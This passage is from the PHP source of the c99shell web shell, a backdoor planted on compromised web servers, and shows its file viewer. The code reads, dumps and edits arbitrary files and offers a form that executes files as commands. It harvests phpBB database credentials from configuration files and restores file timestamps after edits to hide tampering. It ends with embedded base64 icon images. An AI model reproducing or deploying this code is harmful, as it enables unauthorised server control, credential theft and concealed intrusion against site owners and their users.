4313 echo "></form>";
4314 }
4315 if ($act == "f")
4316 {
4317 if ((!is_readable($d . $f) or is_dir($d . $f)) and $ft != "edit")
4318 {
4319 if (file_exists($d . $f))
4320 {
4321 echo "<center><b>Permision denied (" . htmlspecialchars($d . $f) . ")!</b></center>";
4322 }
4323 else
4324 {
4325 echo "<center><b>File does not exists (" . htmlspecialchars($d . $f) . ")!</b><br><a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "&c=1\"><u>Create</u></a></center>";
4326 }
4327 }
4328 else
4329 {
4330 $r = @file_get_contents($d . $f);
4331 $ext = explode(".", $f);
4332 $c = count($ext) - 1;
4333 $ext = $ext[$c];
4334 $ext = strtolower($ext);
4335 $rft = "";
4336 foreach ($ftypes as $k => $v)
4337 {
4338 if (in_array($ext, $v))
4339 {
4340 $rft = $k;
4341 break;
4342 }
4343 }
4344 if (preg_match("sess_(.*)", $f))
4345 {
4346 $rft = "phpsess";
4347 }
4348 if (empty($ft))
4349 {
4350 $ft = $rft;
4351 }
4352 $arr = array(
4353 array(
4354 "<img src=\"" . $surl . "act=img&img=ext_diz\" border=\"0\">",
4355 "info"
4356 ) ,
4357 array(
4358 "<img src=\"" . $surl . "act=img&img=ext_html\" border=\"0\">",
4359 "html"
4360 ) ,
4361 array(
4362 "<img src=\"" . $surl . "act=img&img=ext_txt\" border=\"0\">",
4363 "txt"
4364 ) ,
4365 array(
4366 "Code",
4367 "code"
4368 ) ,
4369 array(
4370 "Session",
4371 "phpsess"
4372 ) ,
4373 array(
4374 "<img src=\"" . $surl . "act=img&img=ext_exe\" border=\"0\">",
4375 "exe"
4376 ) ,
4377 array(
4378 "SDB",
4379 "sdb"
4380 ) ,
4381 array(
4382 "<img src=\"" . $surl . "act=img&img=ext_gif\" border=\"0\">",
4383 "img"
4384 ) ,
4385 array(
4386 "<img src=\"" . $surl . "act=img&img=ext_ini\" border=\"0\">",
4387 "ini"
4388 ) ,
4389 array(
4390 "<img src=\"" . $surl . "act=img&img=download\" border=\"0\">",
4391 "download"
4392 ) ,
4393 array(
4394 "<img src=\"" . $surl . "act=img&img=ext_rtf\" border=\"0\">",
4395 "notepad"
4396 ) ,
4397 array(
4398 "<img src=\"" . $surl . "act=img&img=change\" border=\"0\">",
4399 "edit"
4400 )
4401 );
4402 echo "<b>Viewing file: <img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\"> " . $f . " (" . view_size(filesize($d . $f)) . ") " . view_perms_color($d . $f) . "</b><br>Select action/file-type:<br>";
4403 foreach ($arr as $t)
4404 {
4405 if ($t[1] == $rft)
4406 {
4407 echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><font color=green>" . $t[0] . "</font></a>";
4408 }
4409 elseif ($t[1] == $ft)
4410 {
4411 echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b><u>" . $t[0] . "</u></b></a>";
4412 }
4413 else
4414 {
4415 echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b>" . $t[0] . "</b></a>";
4416 }
4417 echo " (<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&white=1&d=" . urlencode($d) . "\" target=\"_blank\">+</a>) |";
4418 }
4419 echo "<hr size=\"1\" noshade>";
4420 if ($ft == "info")
4421 {
4422 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> " . $d . $f . "</td></tr><tr><td><b>Size</b></td><td> " . view_size(filesize($d . $f)) . "</td></tr><tr><td><b>MD5</b></td><td> " . md5_file($d . $f) . "</td></tr>";
4423 if (!$win)
4424 {
4425 echo "<tr><td><b>Owner/Group</b></td><td> ";
4426 $ow = posix_getpwuid(fileowner($d . $f));
4427 $gr = posix_getgrgid(filegroup($d . $f));
4428 echo ($ow["name"] ? $ow["name"] : fileowner($d . $f)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d . $f));
4429 }
4430 echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&f=" . urlencode($f) . "&d=" . urlencode($d) . "\">" . view_perms_color($d . $f) . "</a></td></tr><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d . $f)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d . $f)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d . $f)) . "</td></tr></table><br>";
4431 $fi = fopen($d . $f, "rb");
4432 if ($fi)
4433 {
4434 if ($fullhexdump)
4435 {
4436 echo "<b>FULL HEXDUMP</b>";
4437 $str = fread($fi, filesize($d . $f));
4438 }
4439 else
4440 {
4441 echo "<b>HEXDUMP PREVIEW</b>";
4442 $str = fread($fi, $hexdump_lines * $hexdump_rows);
4443 }
4444 $n = 0;
4445 $a0 = "00000000<br>";
4446 $a1 = "";
4447 $a2 = "";
4448 for ($i = 0;$i < strlen($str);$i++)
4449 {
4450 $a1 .= sprintf("%02X", ord($str[$i])) . " ";
4451 switch (ord($str[$i]))
4452 {
4453 case 0:
4454 $a2 .= "<font>0</font>";
4455 break;
4456 case 32:
4457 case 10:
4458 case 13:
4459 $a2 .= " ";
4460 break;
4461 default:
4462 $a2 .= htmlspecialchars($str[$i]);
4463 }
4464 $n++;
4465 if ($n == $hexdump_rows)
4466 {
4467 $n = 0;
4468 if ($i + 1 < strlen($str))
4469 {
4470 $a0 .= sprintf("%08X", $i + 1) . "<br>";
4471 }
4472 $a1 .= "<br>";
4473 $a2 .= "<br>";
4474 }
4475 }
4476 echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>" . $a0 . "</td><td bgcolor=000000>" . $a1 . "</td><td bgcolor=000000>" . $a2 . "</td></tr></table><br>";
4477 }
4478 $encoded = "";
4479 if ($base64 == 1)
4480 {
4481 echo "<b>Base64 Encode</b><br>";
4482 $encoded = base64_encode(file_get_contents($d . $f));
4483 }
4484 elseif ($base64 == 2)
4485 {
4486 echo "<b>Base64 Encode + Chunk</b><br>";
4487 $encoded = chunk_split(base64_encode(file_get_contents($d . $f)));
4488 }
4489 elseif ($base64 == 3)
4490 {
4491 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
4492 $encoded = base64_encode(file_get_contents($d . $f));
4493 $encoded = substr(preg_replace("!.{1,76}!", "'\\0'.\n", $encoded) , 0, -2);
4494 }
4495 elseif ($base64 == 4)
4496 {
4497 $text = file_get_contents($d . $f);
4498 $encoded = base64_decode($text);
4499 echo "<b>Base64 Decode";
4500 if (base64_encode($encoded) != $text)
4501 {
4502 echo " (failed)";
4503 }
4504 echo "</b><br>";
4505 }
4506 if (!empty($encoded))
4507 {
4508 echo "<textarea cols=80 rows=10>" . htmlspecialchars($encoded) . "</textarea><br><br>";
4509 }
4510 echo "<b>HEXDUMP:</b><nobr> [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&fullhexdump=1&d=" . urlencode($d) . "\">Full</a>] [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&d=" . urlencode($d) . "\">Preview</a>]<br><b>Base64: </b>
4511<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=1&d=" . urlencode($d) . "\">Encode</a>] </nobr>
4512<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=2&d=" . urlencode($d) . "\">+chunk</a>] </nobr>
4513<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=3&d=" . urlencode($d) . "\">+chunk+quotes</a>] </nobr>
4514<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=4&d=" . urlencode($d) . "\">Decode</a>] </nobr>
4515<P>";
4516 }
4517 elseif ($ft == "html")
4518 {
4519 if ($white)
4520 {
4521 @ob_clean();
4522 }
4523 echo $r;
4524 if ($white)
4525 {
4526 c99shexit();
4527 }
4528 }
4529 elseif ($ft == "txt")
4530 {
4531 echo "<pre>" . htmlspecialchars($r) . "</pre>";
4532 }
4533 elseif ($ft == "ini")
4534 {
4535 echo "<pre>";
4536 var_dump(parse_ini_file($d . $f, true));
4537 echo "</pre>";
4538 }
4539 elseif ($ft == "phpsess")
4540 {
4541 echo "<pre>";
4542 $v = explode("|", $r);
4543 echo $v[0] . "<br>";
4544 var_dump(unserialize($v[1]));
4545 echo "</pre>";
4546 }
4547 elseif ($ft == "exe")
4548 {
4549 $ext = explode(".", $f);
4550 $c = count($ext) - 1;
4551 $ext = $ext[$c];
4552 $ext = strtolower($ext);
4553 $rft = "";
4554 foreach ($exeftypes as $k => $v)
4555 {
4556 if (in_array($ext, $v))
4557 {
4558 $rft = $k;
4559 break;
4560 }
4561 }
4562 $cmd = str_replace("%f%", $f, $rft);
4563 echo "<b>Execute file:</b><form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"" . htmlspecialchars($cmd) . "\" size=\"" . (strlen($cmd) + 2) . "\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"" . htmlspecialchars($d) . "\"><br><input type=submit name=submit value=\"Execute\"></form>";
4564 }
4565 elseif ($ft == "sdb")
4566 {
4567 echo "<pre>";
4568 var_dump(unserialize(base64_decode($r)));
4569 echo "</pre>";
4570 }
4571 elseif ($ft == "code")
4572 {
4573 if (preg_match("php" . "BB 2.(.*) auto-generated config file", $r))
4574 {
4575 $arr = explode("\n", $r);
4576 if (count($arr == 18))
4577 {
4578 include ($d . $f);
4579 echo "<b>phpBB configuration is detected in this file!<br>";
4580 if ($dbms == "mysql4")
4581 {
4582 $dbms = "mysql";
4583 }
4584 if ($dbms == "mysql")
4585 {
4586 echo "<a href=\"" . $surl . "act=sql&sql_server=" . htmlspecialchars($dbhost) . "&sql_login=" . htmlspecialchars($dbuser) . "&sql_passwd=" . htmlspecialchars($dbpasswd) . "&sql_port=3306&sql_db=" . htmlspecialchars($dbname) . "\"><b><u>Connect to DB</u></b></a><br><br>";
4587 }
4588 else
4589 {
4590 echo "But, you can't connect to forum sql-base, because db-software=\"" . $dbms . "\" is not supported by c99shell. Please, report us for fix.";
4591 }
4592 echo "Parameters for manual connect:<br>";
4593 $cfgvars = array(
4594 "dbms" => $dbms,
4595 "dbhost" => $dbhost,
4596 "dbname" => $dbname,
4597 "dbuser" => $dbuser,
4598 "dbpasswd" => $dbpasswd
4599 );
4600 foreach ($cfgvars as $k => $v)
4601 {
4602 echo htmlspecialchars($k) . "='" . htmlspecialchars($v) . "'<br>";
4603 }
4604 echo "</b><hr size=\"1\" noshade>";
4605 }
4606 }
4607 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: " . $highlight_background . ";\">";
4608 if (!empty($white))
4609 {
4610 @ob_clean();
4611 }
4612 highlight_file($d . $f);
4613 if (!empty($white))
4614 {
4615 c99shexit();
4616 }
4617 echo "</div>";
4618 }
4619 elseif ($ft == "download")
4620 {
4621 @ob_clean();
4622 header("Content-type: application/octet-stream");
4623 header("Content-length: " . filesize($d . $f));
4624 header("Content-disposition: attachment; filename=\"" . $f . "\";");
4625 echo $r;
4626 exit;
4627 }
4628 elseif ($ft == "notepad")
4629 {
4630 @ob_clean();
4631 header("Content-type: text/plain");
4632 header("Content-disposition: attachment; filename=\"" . $f . ".txt\";");
4633 echo ($r);
4634 exit;
4635 }
4636 elseif ($ft == "img")
4637 {
4638 $inf = getimagesize($d . $f);
4639 if (!$white)
4640 {
4641 if (empty($imgsize))
4642 {
4643 $imgsize = 20;
4644 }
4645 $width = $inf[0] / 100 * $imgsize;
4646 $height = $inf[1] / 100 * $imgsize;
4647 echo "<center><b>Size:</b> ";
4648 $sizes = array(
4649 "100",
4650 "50",
4651 "20"
4652 );
4653 foreach ($sizes as $v)
4654 {
4655 echo "<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&d=" . urlencode($d) . "&imgsize=" . $v . "\">";
4656 if ($imgsize != $v)
4657 {
4658 echo $v;
4659 }
4660 else
4661 {
4662 echo "<u>" . $v . "</u>";
4663 }
4664 echo "</a> ";
4665 }
4666 echo "<br><br><img src=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&white=1&d=" . urlencode($d) . "\" width=\"" . $width . "\" height=\"" . $height . "\" border=\"1\"></center>";
4667 }
4668 else
4669 {
4670 @ob_clean();
4671 $ext = explode($f, ".");
4672 $ext = $ext[count($ext) - 1];
4673 header("Content-type: " . $inf["mime"]);
4674 readfile($d . $f);
4675 exit;
4676 }
4677 }
4678 elseif ($ft == "edit")
4679 {
4680 if (!empty($submit))
4681 {
4682 if ($filestealth)
4683 {
4684 $stat = stat($d . $f);
4685 }
4686 $fp = fopen($d . $f, "w");
4687 if (!$fp)
4688 {
4689 echo "<b>Can't write to file!</b>";
4690 }
4691 else
4692 {
4693 echo "<b>Saved!</b>";
4694 fwrite($fp, $edit_text);
4695 fclose($fp);
4696 if ($filestealth)
4697 {
4698 touch($d . $f, $stat[9], $stat[8]);
4699 }
4700 $r = $edit_text;
4701 }
4702 }
4703 $rows = count(explode("\r\n", $r));
4704 if ($rows < 10)
4705 {
4706 $rows = 10;
4707 }
4708 if ($rows > 30)
4709 {
4710 $rows = 30;
4711 }
4712 echo "<form action=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='" . addslashes($surl . "act=ls&d=" . substr($d, 0, -1)) . "';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"" . $rows . "\">" . htmlspecialchars($r) . "</textarea></form>";
4713 }
4714 elseif (!empty($ft))
4715 {
4716 echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";
4717 }
4718 else
4719 {
4720 echo "<center><b>Unknown extension (" . $ext . "), please, select type manually.</b></center>";
4721 }
4722 }
4723 }
4724}
4725else
4726{
4727 @ob_clean();
4728 $images = array(
4729 "arrow_ltr" => "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
4730 "back" => "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs=",
4731 "buffer" => "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANoeLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmDDlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
4732 "change" => "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEAAB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOCwSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgACHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDLzMshADs=",
4733 "delete" => "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCwsGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWvvHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42VlZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8GBZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQjwVFHBgiEGQFIgQasYkcSbJQIAA7",
4734 "download" => "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7puEYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
4735 "forward" => "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqtWqsJADs=",
4736 "home" => "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
4737 "mode" => "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
4738 "refresh" => "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJR3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
4739 "search" => "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP///wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOaps5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsDAkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmrCbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
4740 "setup" => "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJCQhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIBqCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQEOwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
4741 "small_dir" => "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
4742 "small_unk" => "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1Up9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmPwr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMzaQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpMuSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQCyIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDjyAsokBkQADs=",
4743 "multipage" => "R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IRpJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
4744 "sort_asc" => "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMaSLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
4745 "sort_desc" => "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMbSLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
4746 "sql_button_drop" => "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsAAAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/AQEAOw==",
4747 "sql_button_empty" => "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoAAAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
